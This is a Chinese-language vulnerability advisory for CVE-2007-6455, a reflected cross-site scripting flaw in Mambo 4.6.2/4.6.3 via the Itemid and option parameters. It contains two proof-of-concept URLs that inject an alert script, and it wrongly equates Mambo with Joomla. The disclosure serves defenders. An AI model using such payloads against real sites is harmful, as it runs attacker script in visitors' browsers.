发布日期：2007-12-28
更新日期：2007-12-28

受影响系统：

Mambo Mambo Open Source 4.6.3
Mambo Mambo Open Source 4.6.2

描述：

---

BUGTRAQ  ID: 26922
CVE(CAN) ID: CVE-2007-6455

Mambo（也被称为Joomla）是一款开放源代码的WEB内容管理系统。

Mambo在处理用户请求时存输入验证漏洞，远程攻击者可能利用此漏洞在用户系统的浏览器中执行恶意操作。

如果在Mambo中将option设置为com_frontpage或将Itemid设置为1的话，则index.php文件就没有正确地验证对Itemid和option参数的输入，导致在用户浏览器会话中执行任意HTML和脚本代码。

<*来源：Beenu Arora （beenudel1986@gmail.com）
  
  链接：http://secunia.com/advisories/28133/
        http://marc.info/?l=bugtraq&m=119799157402509&w=2
        http://source.mambo-foundation.org/content/view/134/1/
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

[URL=http://localhost/mambo/http://localhost/index.php?option=com_frontpage&Itemid=>"><script>alert("XSS%20Successful")</script>]http://localhost/mambo/http://localhost/index.php?option=com_frontpage&Itemid=>"><script>alert("XSS%20Successful")</script>[/URL]
[URL=http://localhost/index.php?option=>"><script>alert("XSS%20Successful")</script>&Itemid=1]http://localhost/index.php?option=>"><script>alert("XSS%20Successful")</script>&Itemid=1[/URL]

建议：

---

厂商补丁：

Mambo
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://sourceforge.net/projects/mambo

浏览次数：4150
严重程度：0（网友投票）